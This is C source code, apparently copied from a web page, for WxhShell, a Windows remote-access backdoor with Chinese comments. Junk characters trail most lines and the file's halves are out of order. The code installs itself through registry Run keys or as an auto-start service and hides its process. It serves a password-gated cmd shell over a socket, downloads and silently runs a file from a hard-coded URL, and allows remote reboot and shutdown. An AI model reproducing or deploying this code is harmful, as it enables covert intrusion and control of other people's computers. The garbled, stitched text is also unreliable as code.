    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ewb/ Z[4  
    else { POCFT0R}  
    closesocket(wsh); zO07X*Bw  
    ExitThread(0); (6S f#M  
    } ,-[dr|.  
    break; H<6/i@ly  
    } Cq,hzi-  
  // 获取shell $k&}{c8P  
  case 's': { Fl^}tC  
    CmdShell(wsh); n\Y|0\ B  
    closesocket(wsh); HN*w(bROr  
    ExitThread(0); ] x_WO_  
    break; 4SqZ V  
  } 4f?Y'+>Z,  
  // 退出 n/3gx4.g  
  case 'x': { ceu}Lp^%/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iEf6oM  
    CloseIt(wsh); 6:Nz=sw8  
    break; kFG>Km(y}  
    } ]'UO]i/  
  // 离开 g(0 |p6R  
  case 'q': { {m/\AG)1I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3 TN?yP)  
    closesocket(wsh); NgnHo\)  
    WSACleanup(); G/Xa`4"_  
    exit(1); ZTx~+'(  
    break; d&p]O  
        } EMe6Z!k  
  } rwlV\BU  
  } 1;l&ck-Gg/  
nuB@Fkr  
  // 提示信息 4C ;4"6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e_wz8]K)n  
} 3d.JV'C'c  
  } \"qXlTQ1_9  
In0kP"  
  return; V X<ZB +R  
} gkuI!=  
.6[xX?i^T  
// shell模块句柄 &DFe+y~PR  
int CmdShell(SOCKET sock) FG~p _[K  
{ <4y1[/S  
STARTUPINFO si; Lrr^obc  
ZeroMemory(&si,sizeof(si)); qB_MDA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,sk;|OAI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '?5=j1  
PROCESS_INFORMATION ProcessInfo; *0y+=,"QU  
char cmdline[]="cmd"; ? kew[oZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6-#f1D 6  
  return 0; qoMYiF}/e  
} DFs J}` $  
aI|<t^X  
// 自身启动模式 J! >HT'M  
int StartFromService(void) )}?'1ciHI  
{ ^6+P&MxM  
typedef struct MjG=6.J|`  
{ Y$EqBN  
  DWORD ExitStatus; cW,wN~  
  DWORD PebBaseAddress; *&B*/HAN  
  DWORD AffinityMask; :x97^.eW~  
  DWORD BasePriority; bG>pm|/  
  ULONG UniqueProcessId; kF~}htv.=  
  ULONG InheritedFromUniqueProcessId; $6:j3ZTXrt  
}   PROCESS_BASIC_INFORMATION; |Gjd  
nD.4c-hd$q  
PROCNTQSIP NtQueryInformationProcess; f& (u[W  
 :XF;v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Nm<3bd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rcf_31 L  
'r4 j;Jn  
  HANDLE             hProcess; K2L+tw  
  PROCESS_BASIC_INFORMATION pbi; 'R~x.NM  
'@HWp8+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); au5 74tj  
  if(NULL == hInst ) return 0; :n>m">4  
El0|.dW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :SSe0ZZ_6b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K|Std)6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /wI$}X5o~  
p0uQ>[NV0  
  if (!NtQueryInformationProcess) return 0; 0<Px 2/  
@g""*T1:$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v%V$@MF  
  if(!hProcess) return 0; ^o|igyS9  
/bVU^vo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +"T?.,  
Yv9(8  
  CloseHandle(hProcess); G[6V=G  
?`,UW;Br6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iO3@2J  
if(hProcess==NULL) return 0; Tm[IOuhM'?  
X'ryfa1|  
HMODULE hMod; c^UG}:Y  
char procName[255]; BG~h9.c  
unsigned long cbNeeded; uFb&WIo1  
_i:yI-jA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O~-#>a  
j,Qp*b#Qo  
  CloseHandle(hProcess); 8@Xq ,J  
ve=oH;zf  
if(strstr(procName,"services")) return 1; // 以服务启动 Gs.id^Sf  
FbJlyWND  
  return 0; // 注册表启动 +D`IcR-x  
} "m _wYX  
c5<M=$  
// 主模块 g-meJhX%  
int StartWxhshell(LPSTR lpCmdLine) Am!$\T%2  
{ ~0|Hw.OK  
  SOCKET wsl; ,#UaWq@7  
BOOL val=TRUE; Tw`^  
  int port=0; [st4FaQ36  
  struct sockaddr_in door; (m=-oQ&Ro  
 MI!C%  
  if(wscfg.ws_autoins) Install(); EG59L~nM  
}Hrm/Ni  
port=atoi(lpCmdLine); WWc{]R^D  
tH2y:o 72  
if(port<=0) port=wscfg.ws_port; e[yk'E  
X|7gj &1  
  WSADATA data; ]U! ?{~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Bh"o{-$p8`  
,F.\z^\{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $=TFTSO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3rTYe6q$U  
  door.sin_family = AF_INET; -2w\8]u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4At%{E  
  door.sin_port = htons(port); Obrv5 %'  
Q~#udEajI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5pI2G  
closesocket(wsl); i(2s"Uww,  
return 1; W7S`+Pq  
} 7P?z{x':T  
0tC+?  
  if(listen(wsl,2) == INVALID_SOCKET) { w=s:e M@  
closesocket(wsl); pz6fL=Xd  
return 1; My76]\Psh  
} n87B[R  
  Wxhshell(wsl); x;99[C!$  
  WSACleanup(); +S5"4<  
lSUEE0V%Q  
return 0; J p!Q2}  
VjBV2x  
} PiMh]  0  
#Fl "#g$  
// 以NT服务方式启动 H@qA X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H.hF`n  
{ >>Z.]  
DWORD   status = 0; PR|F-/o  
  DWORD   specificError = 0xfffffff; fDNiU"  
vtKQvQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `-"2(Gp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "Up3W%]SB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =[FNZ:3  
  serviceStatus.dwWin32ExitCode     = 0; PzWhB* iBR  
  serviceStatus.dwServiceSpecificExitCode = 0; d0"Hu^]  
  serviceStatus.dwCheckPoint       = 0; %]h5\%@w  
  serviceStatus.dwWaitHint       = 0; !<Ma9%uC{  
2)Grl;T]s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uwXquOw  
  if (hServiceStatusHandle==0) return; U ]`SM6  
t4/d1qW0  
status = GetLastError(); A7 qyv0F  
  if (status!=NO_ERROR) ']WS@MbJ  
{ u K6R+a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MxD,xpf  
    serviceStatus.dwCheckPoint       = 0; @Z&El:]3>  
    serviceStatus.dwWaitHint       = 0; mFw`LvH?*  
    serviceStatus.dwWin32ExitCode     = status; KbQ UA$gL=  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2%'{f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <La$'lG4J  
    return; -hiG8%l5  
  } SpU+y|\[0  
O; 7`*}m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?{NP3  
  serviceStatus.dwCheckPoint       = 0; "-88bF~  
  serviceStatus.dwWaitHint       = 0; I} m\(TS-"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ly"u }e  
} eY)ugq>'  
pwtB{6)VH{  
// 处理NT服务事件,比如:启动、停止 !}<d6&!py  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {`2! 3= "  
{ T!0o(Pp<  
switch(fdwControl) rkugV&BhV  
{ )y4bb^;z  
case SERVICE_CONTROL_STOP: 9E5Ec~l  
  serviceStatus.dwWin32ExitCode = 0; 3gV 17a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XZD9vFj1Z  
  serviceStatus.dwCheckPoint   = 0; zePVB -@u  
  serviceStatus.dwWaitHint     = 0; 18f!k  
  { : W6`{Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5ltEnvN  
  } dQT A^m  
  return; {}kE=L5  
case SERVICE_CONTROL_PAUSE: tPBr{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2#1"(m{  
  break; Ri=:=oF(  
case SERVICE_CONTROL_CONTINUE: 8yij=T*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o@*eC L=  
  break; OC34@YUj[  
case SERVICE_CONTROL_INTERROGATE: (KtuikJ32^  
  break; 2fFZ70Yh  
}; n}/?nP\%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ezsb'cUa(  
} E}LuWFZ&  
6<X.]"u+E~  
// 标准应用程序主函数 _<s[HGA`z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) un([3r  
{ a9]F.Jm  
s.7\?(Lg  
// 获取操作系统版本 r@b M3V_o  
OsIsNt=GetOsVer();  mo+zq~,M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v|fA)W w  
B3|h$aKC  
  // 从命令行安装 O{b<UP'85  
  if(strpbrk(lpCmdLine,"iI")) Install(); sA$x2[*O  
6a6;]lsG  
  // 下载执行文件 1W3+ng  
if(wscfg.ws_downexe) { Wi7!J[ B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~Cc%!4f'  
  WinExec(wscfg.ws_filenam,SW_HIDE); h,%`*Qg6  
} W%&t[ _21  
#gn{X!;-;  
if(!OsIsNt) { _ 3@[S F  
// 如果时win9x,隐藏进程并且设置为注册表启动 yvR3|  
HideProc(); `#@#e Z  
StartWxhshell(lpCmdLine); 7QV@lR<C2R  
} zntvKOIh  
else m}Xb#NAF8  
  if(StartFromService()) Q^13KWvuV  
  // 以服务方式启动 *Z}^T:3iw}  
  StartServiceCtrlDispatcher(DispatchTable); %87D(h!.I4  
else 1g_p`(  
  // 普通方式启动 5&A{IN  
  StartWxhshell(lpCmdLine); _G3L+St  
QA|87alh  
return 0; = VIU  
} [0c7fH`8V  
QAGR\~  
7`eg;s^  
P:D@ 5  
=========================================== % !P^se  
55O_b)$  
E>LZw>^Y J  
lU?8<X  
WAq)1gwN  
m[aBHA^g  
" PmjN!/  
Dh+<|6mx  
#include <stdio.h> <TN+-)H6  
#include <string.h> D[jPz0  
#include <windows.h> =Jyi9VN=&  
#include <winsock2.h> S?Y%}  
#include <winsvc.h> r4MPs-}oF  
#include <urlmon.h> Cx~,wk;=  
,"e n7  
#pragma comment (lib, "Ws2_32.lib") %*bGW'Cw  
#pragma comment (lib, "urlmon.lib") cQzUR^oq,  
. E8Gj'yO  
#define MAX_USER   100 // 最大客户端连接数 <@.!\  
#define BUF_SOCK   200 // sock buffer !)r1zSY"g  
#define KEY_BUFF   255 // 输入 buffer iQd,xr  
:,Zs {\oI3  
#define REBOOT     0   // 重启 w;b;rHAZ\  
#define SHUTDOWN   1   // 关机 ,vDSY N6  
R6cd;| fan  
#define DEF_PORT   5000 // 监听端口 c)`=wDi  
tD^$}u6  
#define REG_LEN     16   // 注册表键长度 qs$w9I  
#define SVC_LEN     80   // NT服务名长度 e6`g[Ap  
)U|0vr8:  
// 从dll定义API [AHoTlPZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `g}po%k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @|2sF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '"m-kor  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f]4j7K!e]  
r}S>t~p:  
// wxhshell配置信息 j^5VmG  
struct WSCFG { byJR6f  
  int ws_port;         // 监听端口 SX)o0v+  
  char ws_passstr[REG_LEN]; // 口令 =D3K})&  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2F&VG|"  
  char ws_regname[REG_LEN]; // 注册表键名 9Zj9e  
  char ws_svcname[REG_LEN]; // 服务名 jp+s[rRc\{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 % `\}#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pqF!1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P=<>H9p:o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c BcZ@e;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6DuA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'z9}I #  
dKpUw9C#/  
}; xLShMv}  
+\x}1bNS%j  
// default Wxhshell configuration $y_P14  
struct WSCFG wscfg={DEF_PORT, 2{|mL`$04<  
    "xuhuanlingzhe", C2;Hugm4  
    1, Y3.^a5o  
    "Wxhshell", /Ue_1Efa  
    "Wxhshell", GR,gCtG+L  
            "WxhShell Service", jn]:*i;i  
    "Wrsky Windows CmdShell Service", jPIOBEIG  
    "Please Input Your Password: ", GZ1c~uAu  
  1, &{e:6t  
  "http://www.wrsky.com/wxhshell.exe", HVz|*?&6  
  "Wxhshell.exe" 3f-J%!aH  
    }; g1{2E<b 5  
e_+SBN1`P&  
// 消息定义模块 *v#Z/RrrA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %CV.xDE8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h$)4%Fy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; duV\Kt/g^  
char *msg_ws_ext="\n\rExit."; B8`!A  
char *msg_ws_end="\n\rQuit."; Gp0yRT.  
char *msg_ws_boot="\n\rReboot..."; }X9G(`N(}  
char *msg_ws_poff="\n\rShutdown..."; EkpM'j=  
char *msg_ws_down="\n\rSave to "; E$C0\O!7  
YBupC!R  
char *msg_ws_err="\n\rErr!"; [_-[S  
char *msg_ws_ok="\n\rOK!"; `^df la  
==npFjB  
char ExeFile[MAX_PATH]; , Y^GQ`~#  
int nUser = 0; =X3Rk)2r  
HANDLE handles[MAX_USER]; 2*@@Bw.XA  
int OsIsNt; u= Vt3%q  
06NW2A%wv  
SERVICE_STATUS       serviceStatus; wBz5_ OFVw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,uL}O]L  
.cK<jF@'  
// 函数声明 =`g@6S  
int Install(void); x"~gulcz  
int Uninstall(void); *?~&O.R"  
int DownloadFile(char *sURL, SOCKET wsh); ]--" K{  
int Boot(int flag); TFO4jjiC"  
void HideProc(void); ! i8'gq'q  
int GetOsVer(void); [j 'lB  
int Wxhshell(SOCKET wsl); (5GjtFojY|  
void TalkWithClient(void *cs); " +A8w  
int CmdShell(SOCKET sock); om{aws;  
int StartFromService(void); o&RNpP*  
int StartWxhshell(LPSTR lpCmdLine); Yan,Bt{YJ  
~=t K17i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r*g<A2g%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /DX6Hkkj%  
7g.3)1  
// 数据结构和表定义 c JOT{  
SERVICE_TABLE_ENTRY DispatchTable[] = ~\UAxB=  
{ }K|40oO5  
{wscfg.ws_svcname, NTServiceMain}, $O9,Gvnxx  
{NULL, NULL} FvVM}l'  
}; Rg7~?b-  
$H"(]>~  
// 自我安装 Xcb'qU!2-^  
int Install(void) {YIf rM  
{ 2h#_n'DV  
  char svExeFile[MAX_PATH]; 5GwzG<.\^_  
  HKEY key; &+")~2 +  
  strcpy(svExeFile,ExeFile); H'?dsc  
!Q=xIS  
// 如果是win9x系统,修改注册表设为自启动 zRFvWOxC\  
if(!OsIsNt) { ]5+<Rqdbg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2`pg0ciX (  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MX s]3M  
  RegCloseKey(key); I` q"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \+>g"';f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tr<0NV62>  
  RegCloseKey(key); Id=g!L|  
  return 0; /JQY_>@W  
    } z+]YB5zK%  
  } /{!?e<N>  
} 0[R7HX-@  
else { .-}F~FES  
!h>aP4ofT  
// 如果是NT以上系统,安装为系统服务 sEx`9_oZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <nJ8%aY,  
if (schSCManager!=0) %Wa. 2s  
{ _$m1?DZ  
  SC_HANDLE schService = CreateService =-;J2Qlg6  
  ( L+Q.y~  
  schSCManager, c4iGtW  
  wscfg.ws_svcname, c52S2f7  
  wscfg.ws_svcdisp, :ywm4)  
  SERVICE_ALL_ACCESS, dReJ;x4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]::g-&%Um  
  SERVICE_AUTO_START, `:kI@TPI_C  
  SERVICE_ERROR_NORMAL, %ql2 XAY  
  svExeFile, p]x9hZ  
  NULL, 5^C.}/#>F  
  NULL, Yl"l|2 :  
  NULL, ?U(`x6\:  
  NULL, lH"4"r  
  NULL PLhlbzcf  
  ); =4804N7  
  if (schService!=0) et}%E9  
  { i7foZ\btFc  
  CloseServiceHandle(schService); (}MN16!  
  CloseServiceHandle(schSCManager); l g*eSx>M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aS&,$sR  
  strcat(svExeFile,wscfg.ws_svcname); c. 06Sw*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |`Iispn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jn+BH3e  
  RegCloseKey(key); Bb*P);#.K  
  return 0; -}9>#<v  
    } DGO\&^GT^  
  } fl o9iifZ  
  CloseServiceHandle(schSCManager); 4{rj 4P?  
} D}]u9jS1  
} iDV. C@   
tVhf1TH#  
return 1; ;}4^WzmK^(  
} UBM :.*wN  
%>E M ^Z  
// 自我卸载 TyN]Pa  
int Uninstall(void) M7\yEi"*  
{ MT{ovDA].  
  HKEY key; yR[htD`  
d'2q~   
if(!OsIsNt) {  _!E)a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /Bp5^(s  
  RegDeleteValue(key,wscfg.ws_regname); ^e(*{K;8  
  RegCloseKey(key); 'ARbJ1a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D\k'Eez  
  RegDeleteValue(key,wscfg.ws_regname); mcq.*at  
  RegCloseKey(key); LyG&FOf?  
  return 0; rvp#[RAaS}  
  } [xHHm5$  
} MhZ\]CAs9  
} d#-'DO{k  
else { rVv4R/3+   
maVfLVx-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3h`_Qv%g  
if (schSCManager!=0) Jo4iWJpK  
{ \7] SG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H1-eMDe  
  if (schService!=0) ")D5ulb\  
  { UQ}#=[)2e  
  if(DeleteService(schService)!=0) { sU0W)c;  
  CloseServiceHandle(schService); V~fPp"F  
  CloseServiceHandle(schSCManager); pd}Cg'}X  
  return 0; MP$9W)  
  } ?C(3TKH  
  CloseServiceHandle(schService); =_Ip0FfK!  
  } ayr CLv  
  CloseServiceHandle(schSCManager); ;%!]C0 ?  
} $HP<C>^Z8  
} VRD:PVz  
]La~Bh6;m  
return 1; '|@?R|i0  
}  &sg~owz  
0YO/G1O&  
// 从指定url下载文件 P~M<OUg  
int DownloadFile(char *sURL, SOCKET wsh) "g:1br?X,9  
{ !U4<4<+  
  HRESULT hr; % 9} ?*U  
char seps[]= "/"; AI#.G7'O  
char *token; "I0F"nQ  
char *file; {8T/;K@  
char myURL[MAX_PATH]; T&+y~c[au  
char myFILE[MAX_PATH]; A8T8+M:  
cjwc:3 CM  
strcpy(myURL,sURL); ,racmxnv  
  token=strtok(myURL,seps); kV:T2}]|H  
  while(token!=NULL) UZx8ozv'  
  { ZK5 wZU  
    file=token; #D-Ttla  
  token=strtok(NULL,seps); D+"+m%^>C  
  } v4vIcHDs  
X ;Cl8  
GetCurrentDirectory(MAX_PATH,myFILE); uYCWsw/  
strcat(myFILE, "\\"); J=6( 4>  
strcat(myFILE, file); QE+HL8c^s  
  send(wsh,myFILE,strlen(myFILE),0); L~{3W  
send(wsh,"...",3,0); W]I+Rlv)U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v \dP  
  if(hr==S_OK) 9wdl1QS  
return 0; A.cNOous|  
else Td 5yRN! ?  
return 1; 2x!cblo  
=XFyEt  
} f"R'Q|7D  
5+[ 3@  
// 系统电源模块 MJ<jF(_=  
int Boot(int flag)  6h?)x  
{ X=jHH=</  
  HANDLE hToken; IsiBn(1Z  
  TOKEN_PRIVILEGES tkp; kK/( [!  
dO4J f9)  
  if(OsIsNt) { p(. z#o#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I R~szUY6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uU/'oZ?  
    tkp.PrivilegeCount = 1; E7  P'}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d~#:t~ $,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >E9 k5  
if(flag==REBOOT) { YK>?;U+|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }///k]_Sh  
  return 0; ){4!  
} GTke<R  
else { c7A]\1 ~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O96%U$W  
  return 0; ZoR6f\2M  
} { t@7r  
  } [r^WS;9n  
  else { ]JH Int  
if(flag==REBOOT) { }#2I/dn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R5=M{  
  return 0; &]O^d4/  
} X#Hl<d2  
else { `\yQn7 Oq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Qv]>L4PO  
  return 0; _2X6c,  
} uZa)N-=b2  
} M\9+?  
xM?tdQ~VHY  
return 1; 6 -BC/  
} ^#]eCXv  
MH/bJtNq  
// win9x进程隐藏模块 ~uu{ v')  
void HideProc(void) ZMGC@4^F  
{ TGGbO:s3  
K"8!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 10CRgrZ  
  if ( hKernel != NULL ) yH0vESgv  
  { S]?I7_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R|[gEavFl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {R?VB!dR  
    FreeLibrary(hKernel); |LirjC4  
  } <=%=,Yk  
 ?%*p!m  
return; :kvQ3E0  
} 7*>,BhF#  
[I,s:mn  
// 获取操作系统版本 f@0Km^aUc  
int GetOsVer(void) "EnxVV  
{ nw0Tg= P  
  OSVERSIONINFO winfo; ?u>A2Vc!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %*OQH?pyx}  
  GetVersionEx(&winfo); }(!3)k7*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2E0oLl[  
  return 1; EZ[e  a<  
  else _Uhl4Mh  
  return 0; rC6@ ]  
} L,sFwOWY  
\5fvD8>H  
// 客户端句柄模块 0+NGFX \p  
int Wxhshell(SOCKET wsl) x{S2   
{ ,zh_-2^X  
  SOCKET wsh; B#4'3Y-3  
  struct sockaddr_in client; B1TWOl?d{  
  DWORD myID; t@jke  
)H+p6<  
  while(nUser<MAX_USER) V`}u:t7r  
{ =m 6<H  
  int nSize=sizeof(client); aa}U87]k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `!<#'PR  
  if(wsh==INVALID_SOCKET) return 1; nZ[`Yrq)0  
4xgfm.9I^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vw :&c.zd  
if(handles[nUser]==0) ^G NL:D%6d  
  closesocket(wsh); cG{  
else {/i&o  
  nUser++; "Iacs s0;  
  } :A5h<=[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r |2{( +  
7=a e^GKo  
  return 0; ^M+aQg%  
} 0P;\ :-&p  
)B"E+Q'h{7  
// 关闭 socket _gQ_ixu  
void CloseIt(SOCKET wsh) ,%U\@*6=  
{ Y^eF(  
closesocket(wsh); 5YLc4z*  
nUser--; qfF2S  
ExitThread(0); lqvP Dz  
} IGo+O*dMw  
=z\/xzAwX  
// 客户端请求句柄 IEY\l{s  
void TalkWithClient(void *cs) YcW) D  
{ Z61L;E  
Px&)kEQ  
  SOCKET wsh=(SOCKET)cs; ^(KDtc  
  char pwd[SVC_LEN]; t?Q  
  char cmd[KEY_BUFF]; XoGOY|2`6  
char chr[1]; zN/nKj: Q  
int i,j; b1yS1i D  
y 7z)lBy\  
  while (nUser < MAX_USER) { =b>e4I@  
\zhCGDm1_  
if(wscfg.ws_passstr) { p,14'HS%@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n>xuef   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); py6O\` \  
  //ZeroMemory(pwd,KEY_BUFF); 5m\)82s  
      i=0; q oEZ>  
  while(i<SVC_LEN) { .x1.`Y   
tg7QX/KX  
  // 设置超时 _o==  
  fd_set FdRead; TWdhl9Ot  
  struct timeval TimeOut; Tn?D~?a*O  
  FD_ZERO(&FdRead); <DhuY/o  
  FD_SET(wsh,&FdRead); cCcJOhk|d  
  TimeOut.tv_sec=8; `bWc<4T  
  TimeOut.tv_usec=0; @{ L|&Mk!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bjq.nn<=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o)8VJ\ &  
;A0ZcgF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BwVq:)P/R  
  pwd=chr[0]; vd/BO  
  if(chr[0]==0xd || chr[0]==0xa) { 8L[\(~Zf  
  pwd=0; #4V->I  
  break; mteQRgC  
  } _)6r@fZ.p  
  i++; r(<91~Ww  
    } 3gv?rJV  
J)sOne  
  // 如果是非法用户,关闭 socket 79B+8= K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C|]Zpn#{K  
} u$qazj  
Y6 a9S`o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G6qFAepwi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uM9Gj@_  
1*:BOoYx  
while(1) { zUWeOR'X  
TJ|do`fw>  
  ZeroMemory(cmd,KEY_BUFF); (]-RL A>  
Z>*a:|  
      // 自动支持客户端 telnet标准   10_>EY`  
  j=0; OX[r\  
  while(j<KEY_BUFF) { Ct$\!|aR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D8`SI2 1P  
  cmd[j]=chr[0]; Nj +^;Y  
  if(chr[0]==0xa || chr[0]==0xd) { DIgur}q)@  
  cmd[j]=0; WA5.qw  
  break; 7?8+h  
  } Ym 2Ac>I4  
  j++; )Jh:~9L%='  
    } bL|$\'S  
pxCQ=0k  
  // 下载文件 Yw\lNhoPS  
  if(strstr(cmd,"http://")) { ^~s!*T)\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H-eHX3c7  
  if(DownloadFile(cmd,wsh)) )U{\c2b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hLT?aQLx  
  else iKv"200h(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -X-sykDm  
  } 34L1Gxf  
  else { QFFFxaeJg  
^ZFK:|Ju  
    switch(cmd[0]) { f,Am;:\ |  
  s<5PsR  
  // 帮助 ViU5l*n;  
  case '?': { QE721y   
